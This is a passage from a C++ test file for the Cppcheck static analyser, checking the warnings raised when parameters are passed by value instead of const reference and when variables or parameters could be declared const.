Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n 